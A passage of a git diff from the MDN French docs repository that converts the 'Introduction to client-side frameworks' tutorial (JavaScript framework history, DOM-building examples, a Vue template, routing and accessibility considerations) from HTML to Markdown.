stockage de Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores) + - : Dans cet article, nous vous montrerons une autre manière de gérer les états avec Svelte : les stockages Stores. Les Stores sont des répertoires de données globaux qui contiennent des valeurs. Les composants peuvent s'abonner aux stockages et recevoir des notifications que leurs valeurs changent. +- [7. Support de TypeScript avec Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript) + - : Nous allons maintenant apprendre à utiliser TypeScript dans nos applications Svelte. D'abord, nous apprendrons ce qu'est TypeScript et quels bénéfices il peut nous apporter, puis nous verrons ensemble comment configurer notre projet pour travailler avec des fichiers TypeScript. Enfin, nous parcourerons notre application pour voir ce que nous pouvons y changer pour tirer pleinement parti des fonctionnalités de TypeScript. +- [8. Déploiement et étapes suivantes](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next) + - : Dans ce dernier article, nous verrons comment déployer votre application et la mettre en ligne et nous vous partagerons quelques-unes des ressources auxquelles vous devriez jeter un oeil pour poursuivre votre apprentissage de Svelte. + +## Quels frameworks avons-nous choisis ? + +Nous publions notre première série d'articles accompagné de guides axés sur quatre frameworks. Trois d'entre eux sont très populaires et bien établis (React/ReactDOM, Ember et Vue) tandis que Svelte est un nouveau prometteur et qui a déjà gagné beaucoup en popularité dernièrement. + +Il existe plusieurs raisons à ceci : + +- Ce sont des outils populaires qui dureront un certain temps – comme avec tout outil logiciel, il est bon de s'en tenir à des outils activement développés et qui ne seront probablement pas interrompus la semaine prochaine et qui constitueront des atouts considérables à vos compétences lorsque vous cherchez un emploi, +- Ils ont des communautés solides et de bonnes documentations. C'est très important pour être en mesure de recevoir de l'aide lors de votre apprentissage d'un sujet complexe, surtout lorsque vous débutez. +- Nous n'avons pas les ressources nécessaires pour couvrir _tous_ les frameworks modernes. De toute façon, cette liste serait très difficile à tenir à jour car de nouveaux apparaissent tout le temps. +- En tant que débutant, choisir sur quoi se pencher parmi le grand nombre de choix disponibles est un problème très réel. Faire en sorte que cette liste soit courte est donc utile. + +Disons-le franchement : nous n'avons **pas** choisi les frameworks sur lesquels nous nous concentrons parce que nous pensons qu'ils sont les meilleurs ou parce que nous les soutenons de quelque manière que ce soit. Nous pensons seulement qu'ils correspondent le mieux aux critères établis ci-avant. + +Notez que nous espérions avoir plus de frameworks inclus lors de la publication initiale, mais nous avons décidé de publier le contenu, puis d'ajouter plus de guides de framework plus tard plutôt que de le retarder l'édition. Si votre framework préféré n'est pas représenté dans ce contenu et que vous souhaitez faire changer cela, n'hésitez pas à en discuter avec nous ! Contactez-nous via [Matrix](https://wiki.mozilla.org/Matrix), ou [Discourse](https://discourse.mozilla.org/c/mdn), ou envoyez-nous un mail sur la [liste mdn-admins](mailto:mdn-admins@mozilla.org). diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md index d222a30518..711019d139 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/introduction/index.md @@ -3,93 +3,102 @@ title: Introduction aux frameworks côté client slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<div>{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> - -<p>We begin our look at frameworks with a general overview of the area, looking at a brief history of JavaScript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.</p> +We begin our look at frameworks with a general overview of the area, looking at a brief history of JavaScript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, and <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages.</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To understand how client-side JavaScript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, and + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages. + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + To understand how client-side JavaScript frameworks came to exist, what + problems they solve, what alternatives there are, and how to go about + choosing one. + </td> + </tr> + </tbody> </table> -<h2 id="A_brief_history">A brief history</h2> +## A brief history -<p>When JavaScript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. The web became not just a place to <em>read things</em>, but to <em>do things</em>. JavaScript’s popularity steadily increased. Developers who worked with JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called <strong>libraries</strong>, so they could share their solutions with others. This shared ecosystem of libraries helped shape the growth of the web.</p> +When JavaScript debuted in 1996, it added occasional interactivity and excitement to a web that was, up until then, composed of static documents. The web became not just a place to _read things_, but to _do things_. JavaScript’s popularity steadily increased. Developers who worked with JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called **libraries**, so they could share their solutions with others. This shared ecosystem of libraries helped shape the growth of the web. -<p>Now, JavaScript is an essential part of the web, <a href="https://w3techs.com/technologies/details/cp-javascript">used on 95% of all websites</a>, and the web is an essential part of modern life. Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. The web allows us to do things that used to be possible only in native applications installed on our computers. These modern, complex, interactive websites are often referred to as <strong>web applications</strong>.</p> +Now, JavaScript is an essential part of the web, [used on 95% of all websites](https://w3techs.com/technologies/details/cp-javascript), and the web is an essential part of modern life. Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. The web allows us to do things that used to be possible only in native applications installed on our computers. These modern, complex, interactive websites are often referred to as **web applications**. -<p>The advent of modern JavaScript frameworks has made it much easier to build highly dynamic, interactive applications. A <strong>framework</strong> is a library that offers opinions about how software gets built. These opinions allow for predictability and homogeneity in an application; predictability allows software to scale to an enormous size and still be maintainable; predictability and maintainability are essential for the health and longevity of software.</p> +The advent of modern JavaScript frameworks has made it much easier to build highly dynamic, interactive applications. A **framework** is a library that offers opinions about how software gets built. These opinions allow for predictability and homogeneity in an application; predictability allows software to scale to an enormous size and still be maintainable; predictability and maintainability are essential for the health and longevity of software. -<p>JavaScript frameworks power much of the impressive software on the modern web – including many of the websites you likely use every day. MDN Web Docs, which you are currently reading this on, uses the React/ReactDOM framework to power its front end.</p> +JavaScript frameworks power much of the impressive software on the modern web – including many of the websites you likely use every day. MDN Web Docs, which you are currently reading this on, uses the React/ReactDOM framework to power its front end. -<h2 id="What_frameworks_are_out_there">What frameworks are out there?</h2> +## What frameworks are out there? -<p>There are many frameworks out there, but currently the "big four" are considered to be the following.</p> +There are many frameworks out there, but currently the "big four" are considered to be the following. -<h3 id="Ember">Ember</h3> +### Ember -<p><a href="https://emberjs.com/">Ember</a> was initially released in December 2011 as a continuation of work that started in the <a href="https://en.wikipedia.org/wiki/SproutCore">SproutCore</a> project. It is an older framework that has less users than more modern alternatives such as React and Vue, but it still enjoys a fair amount of popularity due to its stability, community support, and some clever coding principles.</p> +[Ember](https://emberjs.com/) was initially released in December 2011 as a continuation of work that started in the [SproutCore](https://en.wikipedia.org/wiki/SproutCore) project. It is an older framework that has less users than more modern alternatives such as React and Vue, but it still enjoys a fair amount of popularity due to its stability, community support, and some clever coding principles. -<p><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Start learning Ember</a></p> +[Start learning Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) -<h3 id="Angular">Angular</h3> +### Angular -<p><a href="https://angular.io">Angular</a> is an open-source web application framework led by the Angular Team at Google and by a community of individuals and corporations. It is a complete rewrite from the same team that built <a href="https://angularjs.org/">AngularJS</a>. Angular was officially released on the 14th of September 2016.</p> +[Angular](https://angular.io) is an open-source web application framework led by the Angular Team at Google and by a community of individuals and corporations. It is a complete rewrite from the same team that built [AngularJS](https://angularjs.org/). Angular was officially released on the 14th of September 2016. -<p>Angular is a component-based framework which uses declarative HTML templates. At build time, transparently to developers, the framework's compiler translates the templates to optimized JavaScript instructions. Angular uses <a href="https://www.typescriptlang.org/">TypeScript</a>, a superset of JavaScript that we’ll look at in a little more detail in the next chapter.</p> +Angular is a component-based framework which uses declarative HTML templates. At build time, transparently to developers, the framework's compiler translates the templates to optimized JavaScript instructions. Angular uses [TypeScript](https://www.typescriptlang.org/), a superset of JavaScript that we’ll look at in a little more detail in the next chapter. -<h3 id="Vue">Vue</h3> +### Vue -<p>Evan You first released <a href="https://vuejs.org/">Vue</a> in 2014, after working on and learning from the original <a href="https://angularjs.org/">AngularJS</a> project. Vue is the youngest of the big four, but has enjoyed a recent uptick in popularity.</p> +Evan You first released [Vue](https://vuejs.org/) in 2014, after working on and learning from the original [AngularJS](https://angularjs.org/) project. Vue is the youngest of the big four, but has enjoyed a recent uptick in popularity. -<p>Vue, like <a href="https://angularjs.org/">AngularJS</a>, extends HTML with some of its own code. Apart from that, it mainly relies on modern, standard JavaScript.</p> +Vue, like [AngularJS](https://angularjs.org/), extends HTML with some of its own code. Apart from that, it mainly relies on modern, standard JavaScript. -<p><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Start learning Vue</a></p> +[Start learning Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) -<h3 id="React">React</h3> +### React -<p>Facebook released <a href="https://reactjs.org/">React</a> in 2013. By this point, it had already been using React to solve many of its problems internally. React itself is <em>not</em> technically a framework; it's a library for rendering UI components. React is used in combination with <em>other</em> libraries to make applications — React and <a href="https://reactnative.dev/">React Native</a> enable developers to make mobile applications; React and <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a> enable them to make web applications, etc.</p> +Facebook released [React](https://reactjs.org/) in 2013. By this point, it had already been using React to solve many of its problems internally. React itself is _not_ technically a framework; it's a library for rendering UI components. React is used in combination with _other_ libraries to make applications — React and [React Native](https://reactnative.dev/) enable developers to make mobile applications; React and [ReactDOM](https://reactjs.org/docs/react-dom.html) enable them to make web applications, etc. -<p>Because React and ReactDOM are so often used together, React is colloquially understood as a JavaScript framework. As you read through this module, we will be working with that colloquial understanding.</p> +Because React and ReactDOM are so often used together, React is colloquially understood as a JavaScript framework. As you read through this module, we will be working with that colloquial understanding. -<p>React extends JavaScript with HTML-like syntax, known as <a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a>.</p> +React extends JavaScript with HTML-like syntax, known as [JSX](https://reactjs.org/docs/introducing-jsx.html). -<p><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Start learning React</a></p> +[Start learning React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) -<h2 id="Why_do_frameworks_exist">Why do frameworks exist?</h2> +## Why do frameworks exist? -<p>We've discussed the environment that inspired the creation of frameworks, but not really <em>why</em> developers felt the need to make them. Exploring the why requires first examining the challenges of software development.</p> +We've discussed the environment that inspired the creation of frameworks, but not really _why_ developers felt the need to make them. Exploring the why requires first examining the challenges of software development. -<p>Consider a common kind of application: A to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters. This application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application. In software development, this underlying data is known as state.</p> +Consider a common kind of application: A to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters. This application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application. In software development, this underlying data is known as state. -<p>Each of our goals is theoretically simple in isolation. We can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task. When we remember that the application has to let the user to do <em>all</em> of these things through the browser, however, some cracks start to show. <strong>The real problem is this: every time we change our application’s state, we need to update the UI to match.</strong></p> +Each of our goals is theoretically simple in isolation. We can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task. When we remember that the application has to let the user to do _all_ of these things through the browser, however, some cracks start to show. **The real problem is this: every time we change our application’s state, we need to update the UI to match.** -<p>We can examine the difficulty of this problem by looking at just <em>one</em> feature of our todo list app: rendering a list of tasks.</p> +We can examine the difficulty of this problem by looking at just _one_ feature of our todo list app: rendering a list of tasks. -<h2 id="The_verbosity_of_DOM_changes">The verbosity of DOM changes</h2> +## The verbosity of DOM changes -<p>Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this:</p> +Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this: -<pre class="brush: js">const state = [ +```js +const state = [ { id: 'todo-0', name: 'Learn some frameworks!' } -]</pre> +] +``` -<p>How do we show one of those tasks to our user? We want to represent each task as a list item – an HTML <code><a href="/fr/docs/Web/HTML/Element/li"><li></a></code> element inside of an unordered list element (a <code><a href="/fr/docs/Web/HTML/Element/ul"><ul></a></code>). How do we make it? That could look something like this:</p> +How do we show one of those tasks to our user? We want to represent each task as a list item – an HTML [`<li>`](/fr/docs/Web/HTML/Element/li) element inside of an unordered list element (a [`<ul>`](/fr/docs/Web/HTML/Element/ul)). How do we make it? That could look something like this: -<pre class="brush: js">function buildTodoItemEl(id, name) { +```js +function buildTodoItemEl(id, name) { const item = document.createElement('li'); const span = document.createElement('span'); const textContent = document.createTextNode(name); @@ -101,13 +110,15 @@ translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introd item.appendChild(buildDeleteButtonEl(id)); return item; -}</pre> +} +``` -<p>Here, we use the <code><a href="/fr/docs/Web/API/Document/createElement">document.createElement()</a></code> method to make our <code><li></code>, and several more lines of code to create the properties and children it needs.</p> +Here, we use the [`document.createElement()`](/fr/docs/Web/API/Document/createElement) method to make our `<li>`, and several more lines of code to create the properties and children it needs. -<p>The tenth line of this snippet references another build function: <code>buildDeleteButtonEl()</code>. It follows a similar pattern to the one we used to build a list item element:</p> +The tenth line of this snippet references another build function: `buildDeleteButtonEl()`. It follows a similar pattern to the one we used to build a list item element: -<pre class="brush: js">function buildDeleteButtonEl(id) { +```js +function buildDeleteButtonEl(id) { const button = document.createElement('button'); const textContent = document.createTextNode('Delete'); @@ -115,13 +126,15 @@ translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introd button.appendChild(textContent); return button; -}</pre> +} +``` -<p>This button doesn't do anything yet, but it will later once we decide to implement our delete feature. The code that will render our items on the page might read something like this:</p> +This button doesn't do anything yet, but it will later once we decide to implement our delete feature. The code that will render our items on the page might read something like this: -<pre class="brush: js">function renderTodoList() { +```js +function renderTodoList() { const frag = document.createDocumentFragment(); - state.tasks.forEach(task => { + state.tasks.forEach(task => { const item = buildTodoItemEl(task.id, task.name); frag.appendChild(item); }); @@ -130,276 +143,228 @@ translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introd todoListEl.removeChild(todoListEl.firstChild); } todoListEl.appendChild(frag); -}</pre> +} +``` + +We've now got well over thirty lines of code dedicated _just_ to the UI – _just_ to the step of rendering something in the DOM – and at no point do we add classes that we could use later to style our list-items! + +Working directly with the DOM, as in this example, requires understanding many things about how the DOM works: how to make elements; how to change their properties; how to put elements inside of each other; how to get them on the page. None of this code actually handles user interactions, or addresses adding or deleting a task. If we add those features, we have to remember to update our UI in the right time and in the right way. + +JavaScript frameworks were created to make this kind of work a little easier — they exist to provide a better _developer experience_. They don't bring brand-new powers to JavaScript; they give you easier access to JavaScript's powers so you can build for today's web. -<p>We've now got well over thirty lines of code dedicated <em>just</em> to the UI – <em>just</em> to the step of rendering something in the DOM – and at no point do we add classes that we could use later to style our list-items!</p> +If you want to see code samples from this section in action, you can check out a [working version of the app on CodePen](https://codepen.io/dengeist/pen/XWbPNmw), which also allows users to add and delete new tasks. -<p>Working directly with the DOM, as in this example, requires understanding many things about how the DOM works: how to make elements; how to change their properties; how to put elements inside of each other; how to get them on the page. None of this code actually handles user interactions, or addresses adding or deleting a task. If we add those features, we have to remember to update our UI in the right time and in the right way.</p> +Read more about the JavaScript used in this section: -<p>JavaScript frameworks were created to make this kind of work a little easier — they exist to provide a better <em>developer experience</em>. They don't bring brand-new powers to JavaScript; they give you easier access to JavaScript's powers so you can build for today's web.</p> +- [`document.createElement()`](/fr/docs/Web/API/Document/createElement) +- [`document.createTextNode()`](/fr/docs/Web/API/Document/createTextNode) +- [`document.createDocumentFragment()`](/fr/docs/Web/API/Document/createDocumentFragment) +- [`eventTarget.addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) +- [`node.appendChild()`](/fr/docs/Web/API/Node/appendChild) +- [`node.removeChild()`](/fr/docs/Web/API/Node/removeChild) -<p>If you want to see code samples from this section in action, you can check out a <a href="https://codepen.io/dengeist/pen/XWbPNmw">working version of the app on CodePen</a>, which also allows users to add and delete new tasks.</p> +## Another way to build UIs -<p>Read more about the JavaScript used in this section:</p> +Every JavaScript framework offers a way to write user interfaces more _declaratively_. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes. +The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance. By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks: + +```html <ul> - <li><code><a href="/fr/docs/Web/API/Document/createElement">document.createElement()</a></code></li> - <li><code><a href="/fr/docs/Web/API/Document/createTextNode">document.createTextNode()</a></code></li> - <li><code><a href="/fr/docs/Web/API/Document/createDocumentFragment">document.createDocumentFragment()</a></code></li> - <li><code><a href="/fr/docs/Web/API/EventTarget/addEventListener">eventTarget.addEventListener()</a></code></li> - <li><code><a href="/fr/docs/Web/API/Node/appendChild">node.appendChild()</a></code></li> - <li><code><a href="/fr/docs/Web/API/Node/removeChild">node.removeChild()</a></code></li> + <li v-for="task in tasks" v-bind:key="task.id"> + <span>\{{task.name\}}</span> + <button type="button">Delete</button> + </li> </ul> +``` -<h2 id="Another_way_to_build_UIs">Another way to build UIs</h2> +That's it. This snippet reduces approximately thirty-two lines of code down to six lines. If the curly braces and `v-` attributes here are unfamiliar to you, that's okay; you’ll learn about Vue-specific syntax later on in the module. The thing to take away here is that this code looks like the UI it represents, whereas the vanilla JavaScript code does not. -<p>Every JavaScript framework offers a way to write user interfaces more <em>declaratively</em>. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes.</p> +Thanks to Vue, we didn't have to write our own functions for building the UI; the framework will handle that for us in an optimized, efficient way. Our only role here was to describe to Vue what each item should look like. Developers who are familiar with Vue can join our project and quickly work out what is going on. Vue is not alone in this: using a framework improves team as well as individual efficiency. -<p>The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance. By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks:</p> +It's possible to do things _similar_ to this in vanilla JavaScript. [Template literal strings](/fr/docs/Web/JavaScript/Reference/Template_literals) make it easy to write strings of HTML that represent what the final element would look like. That might be a useful idea for something as simple as our to-do list application, but it's not maintainable for large applications that manage thousands of records of data, and could render just as many unique elements in a user interface. -<pre class="brush: html"><ul> - <li v-for="task in tasks" v-bind:key="task.id"> - <span>\{{task.name\}}</span> - <button type="button">Delete</button> - </li> -</ul></pre> +## Other things frameworks give us -<p>That's it. This snippet reduces approximately thirty-two lines of code down to six lines. If the curly braces and <code>v-</code> attributes here are unfamiliar to you, that's okay; you’ll learn about Vue-specific syntax later on in the module. The thing to take away here is that this code looks like the UI it represents, whereas the vanilla JavaScript code does not.</p> +Let's look at some of the other advantages conferred upon us by frameworks. As we've alluded to before, the advantages of frameworks are achievable in vanilla JavaScript, but using a framework takes away all of the cognitive load of having to solve these problems yourself. -<p>Thanks to Vue, we didn't have to write our own functions for building the UI; the framework will handle that for us in an optimized, efficient way. Our only role here was to describe to Vue what each item should look like. Developers who are familiar with Vue can join our project and quickly work out what is going on. Vue is not alone in this: using a framework improves team as well as individual efficiency.</p> +### Tooling -<p>It's possible to do things <em>similar</em> to this in vanilla JavaScript. <a href="/fr/docs/Web/JavaScript/Reference/Template_literals">Template literal strings</a> make it easy to write strings of HTML that represent what the final element would look like. That might be a useful idea for something as simple as our to-do list application, but it's not maintainable for large applications that manage thousands of records of data, and could render just as many unique elements in a user interface.</p> +Because each of the frameworks in this module have a large, active community, each framework's ecosystem provides tooling that Improves the developer experience. These tools make it easy to add things like testing (to ensure that your application behaves as it should) or linting (to ensure that your code is error-free and stylistically consistent). -<h2 id="Other_things_frameworks_give_us">Other things frameworks give us</h2> +> **Note :** If you want to find out more details about web tooling concepts, have a read of our [Client-side tooling overview](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview). -<p>Let's look at some of the other advantages conferred upon us by frameworks. As we've alluded to before, the advantages of frameworks are achievable in vanilla JavaScript, but using a framework takes away all of the cognitive load of having to solve these problems yourself.</p> +### Compartmentalization -<h3 id="Tooling">Tooling</h3> +Most major frameworks encourage developers to abstract the different parts of their user interfaces into _components_ — maintainable, reusable chunks of code that can communicate with one another. All the code related to a given component can live in one file (or a couple of specific files), so that you as a developer know exactly where to go to make changes to that component. In a vanilla JavaScript app, you'd have to create your own set of conventions to achieve this in an efficient, scalable way. Many JavaScript developers, if left to their own devices, could end up with all the code related to one part of the UI being spread out all over a file — or in another file altogether. -<p>Because each of the frameworks in this module have a large, active community, each framework's ecosystem provides tooling that Improves the developer experience. These tools make it easy to add things like testing (to ensure that your application behaves as it should) or linting (to ensure that your code is error-free and stylistically consistent).</p> +### Routing -<div class="note"> -<p><strong>Note :</strong> If you want to find out more details about web tooling concepts, have a read of our <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Client-side tooling overview</a>.</p> -</div> +The most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. When you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. As it does so, the URL in your address bar changes. You can save this new URL and come back to the page later on, or share it with others so they can easily find the same page. Your browser remembers your navigation history and allows you to navigate back and forth, too. This is called **server-side routing**. -<h3 id="Compartmentalization">Compartmentalization</h3> +Modern web applications typically do not fetch and render new HTML files — they load a single HTML shell, and continually update the DOM inside it (referred to as **single page apps**, or **SPAs**) without navigating users to new addresses on the web. Each new pseudo-webpage is usually called a _view_, and by default, no routing is done. -<p>Most major frameworks encourage developers to abstract the different parts of their user interfaces into <em>components</em> — maintainable, reusable chunks of code that can communicate with one another. All the code related to a given component can live in one file (or a couple of specific files), so that you as a developer know exactly where to go to make changes to that component. In a vanilla JavaScript app, you'd have to create your own set of conventions to achieve this in an efficient, scalable way. Many JavaScript developers, if left to their own devices, could end up with all the code related to one part of the UI being spread out all over a file — or in another file altogether.</p> +When an SPA is complex enough, and renders enough unique views, it's important to bring routing functionality into your application. People are used to being able to link to specific pages in an application, travel forward and backward in their navigation history, etc., and their experience suffers when these standard web features are broken. When routing is handled by a client application in this fashion, it is aptly called **client-side routing**. -<h3 id="Routing">Routing</h3> +It's _possible_ to make a router using the native capabilities of JavaScript and the browser, but popular, actively developed frameworks have companion libraries that make routing a more intuitive part of the development process. -<p>The most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. When you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. As it does so, the URL in your address bar changes. You can save this new URL and come back to the page later on, or share it with others so they can easily find the same page. Your browser remembers your navigation history and allows you to navigate back and forth, too. This is called <strong>server-side routing</strong>.</p> +## Things to consider when using frameworks -<p>Modern web applications typically do not fetch and render new HTML files — they load a single HTML shell, and continually update the DOM inside it (referred to as <strong>single page apps</strong>, or <strong>SPAs</strong>) without navigating users to new addresses on the web. Each new pseudo-webpage is usually called a <em>view</em>, and by default, no routing is done.</p> +Being an effective web developer means using the most appropriate tools for the job. JavaScript frameworks make front-end application development easy, but they are not a silver bullet that will solve all problems. This section talks about some of the things you should consider when using frameworks. Bear in mind that you might not need a framework at all — beware that you don't end up using a framework just for the sake of it. -<p>When an SPA is complex enough, and renders enough unique views, it's important to bring routing functionality into your application. People are used to being able to link to specific pages in an application, travel forward and backward in their navigation history, etc., and their experience suffers when these standard web features are broken. When routing is handled by a client application in this fashion, it is aptly called <strong>client-side routing</strong>.</p> +### Familiarity with the tool -<p>It's <em>possible</em> to make a router using the native capabilities of JavaScript and the browser, but popular, actively developed frameworks have companion libraries that make routing a more intuitive part of the development process.</p> +Just like vanilla JavaScript, frameworks take time to learn and have their quirks. Before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfortable with it as well. -<h2 id="Things_to_consider_when_using_frameworks">Things to consider when using frameworks</h2> +### Overengineering -<p>Being an effective web developer means using the most appropriate tools for the job. JavaScript frameworks make front-end application development easy, but they are not a silver bullet that will solve all problems. This section talks about some of the things you should consider when using frameworks. Bear in mind that you might not need a framework at all — beware that you don't end up using a framework just for the sake of it.</p> +If your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its JavaScript) may not be necessary at all. That said, frameworks are not a monolith, and some of them are better-suited to small projects than others. In an article for Smashing Magazine, Sarah Drasner writes about how [Vue can replace jQuery](https://www.smashingmagazine.com/2018/02/jquery-vue-javascript/) as a tool for making small portions of a webpage interactive. -<h3 id="Familiarity_with_the_tool">Familiarity with the tool</h3> +### Larger code base and abstraction -<p>Just like vanilla JavaScript, frameworks take time to learn and have their quirks. Before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfortable with it as well.</p> +Frameworks allow you to write more declarative code – and sometimes _less_ code overall – by dealing with the DOM interactions for you, behind the scenes. This abstraction is great for your experience as a developer, but it isn't free. In order to translate what you write into DOM changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate. -<h3 id="Overengineering">Overengineering</h3> +Some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones. -<p>If your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its JavaScript) may not be necessary at all. That said, frameworks are not a monolith, and some of them are better-suited to small projects than others. In an article for Smashing Magazine, Sarah Drasner writes about how <a href="https://www.smashingmagazine.com/2018/02/jquery-vue-javascript/">Vue can replace jQuery</a> as a tool for making small portions of a webpage interactive.</p> +The abstraction of frameworks affects not only your JavaScript, but your relationship with the very nature of the web. No matter how you build for the web, the end result, the layer that your users ultimately interact with, is HTML. Writing your whole application in JavaScript can make you lose sight of HTML and the purpose of its various tags, and lead you to produce an HTML document that is un-semantic and inaccessible. In fact, it's possible to write a fragile application that depends entirely on JavaScript and will not function without it. -<h3 id="Larger_code_base_and_abstraction">Larger code base and abstraction</h3> +Frameworks are not the source of our problems. With the wrong priorities, it's possible for _any_ application to be fragile, bloated, and inaccessible. Frameworks do, however, amplify our priorities as developers. If your priority is to make a complex web app, it's easy to do that. However, if your priorities don't carefully guard performance and accessibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. Modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. Instead of a robust, content-first network of documents, the web now often puts JavaScript first and user experience last. -<p>Frameworks allow you to write more declarative code – and sometimes <em>less</em> code overall – by dealing with the DOM interactions for you, behind the scenes. This abstraction is great for your experience as a developer, but it isn't free. In order to translate what you write into DOM changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate.</p> +## Accessibility on a framework-driven web -<p>Some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones.</p> +Let's build on what we said in the previous section, and talk a bit more about accessibility. Making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. You often have to employ advanced framework APIs to access native browser features like ARIA [live regions](/fr/docs/Web/Accessibility/ARIA/ARIA_Live_Regions) or focus management. -<p>The abstraction of frameworks affects not only your JavaScript, but your relationship with the very nature of the web. No matter how you build for the web, the end result, the layer that your users ultimately interact with, is HTML. Writing your whole application in JavaScript can make you lose sight of HTML and the purpose of its various tags, and lead you to produce an HTML document that is un-semantic and inaccessible. In fact, it's possible to write a fragile application that depends entirely on JavaScript and will not function without it.</p> +In some cases, framework applications create accessibility barriers that do not exist for traditional websites. The biggest example of this is in client-side routing, as mentioned earlier. -<p>Frameworks are not the source of our problems. With the wrong priorities, it's possible for <em>any</em> application to be fragile, bloated, and inaccessible. Frameworks do, however, amplify our priorities as developers. If your priority is to make a complex web app, it's easy to do that. However, if your priorities don't carefully guard performance and accessibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. Modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. Instead of a robust, content-first network of documents, the web now often puts JavaScript first and user experience last.</p> +With traditional (server-side) routing, navigating the web has predictable results. The browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. These things happen every time you navigate to a new page. -<h2 id="Accessibility_on_a_framework-driven_web">Accessibility on a framework-driven web</h2> +With client-side routing, your browser is not loading new web pages, so it 